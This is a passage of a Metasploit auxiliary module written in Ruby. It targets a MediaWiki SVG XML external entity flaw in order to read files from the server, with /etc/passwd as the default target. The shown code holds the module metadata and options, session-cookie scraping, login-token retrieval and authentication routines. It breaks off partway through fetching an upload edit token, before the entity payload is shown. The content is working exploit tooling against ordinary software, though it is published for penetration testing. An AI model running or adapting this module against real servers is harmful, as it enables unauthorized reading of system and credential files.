## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'MediaWiki SVG XML Entity Expansion Remote File Access', 'Description' => %q{ This module attempts to read a remote file from the server using a vulnerability in the way MediaWiki handles SVG files. The vulnerability occurs while trying to expand external entities with the SYSTEM identifier. In order to work MediaWiki must be configured to accept upload of SVG files. If anonymous uploads are allowed the username and password aren't required, otherwise they are. This module has been tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10. Older versions were also tested but do not seem to be vulnerable to this vulnerability. The following MediaWiki requirements must be met: File upload must be enabled, $wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something other than 'false'. }, 'References' => [ [ 'OSVDB', '92490' ], [ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=46859' ], [ 'URL', 'http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229'] ], 'Author' => [ 'Daniel Franke', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'Christian Mehlmauer' # Metasploit module ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Path to MediaWiki', '/mediawiki']), OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']), OptString.new('USERNAME', [ false, "The user to authenticate as"]), OptString.new('PASSWORD', [ false, "The password to authenticate with" ]) ]) register_autofilter_ports([ 80 ]) deregister_options('RHOST') end def get_first_session res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "index.php"), 'method' => 'GET', 'vars_get' => { "title" => "Special:UserLogin", "returnto" => "Main+Page" } }) if res && res.code == 200 && res.get_cookies =~ /([^\s]*session)=([a-z0-9]+)/ return $1,$2 else return nil end end def get_login_token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "index.php"), 'method' => 'GET', 'vars_get' => { "title" => "Special:UserLogin", "returnto" => "Main+Page" }, 'cookie' => session_cookie }) if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/ return $1 else return nil end end def parse_auth_cookie(cookies) cookies.split(";").each do |part| case part when /([^\s]*UserID)=(.*)/ @wiki_user_id_name = $1 @wiki_user_id = $2 when /([^\s]*UserName)=(.*)/ @wiki_user_name_name = $1 @wiki_user_name = $2 when /session=(.*)/ @wiki_session = $1 else next end end end def session_cookie if @user and @password return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}" else return "#{@wiki_session_name}=#{@wiki_session}" end end def authenticate res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "index.php"), 'method' => 'POST', 'vars_get' => { "title" => "Special:UserLogin", "action" => "submitlogin", "type" => "login" }, 'vars_post' => { "wpName" => datastore['USERNAME'], "wpPassword" => datastore['PASSWORD'], "wpLoginAttempt" => "Log+in", "wpLoginToken" => @login_token, "returnto" => "Main+Page" }, 'cookie' => session_cookie }) if res and res.code == 302 and res.get_cookies.include?('UserID=') parse_auth_cookie(res.get_cookies) return true else return false end end def get_edit_token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"), 'method' => 'GET', 'cookie' => session_cookie }) if res and res.code == 200 and res.body =~/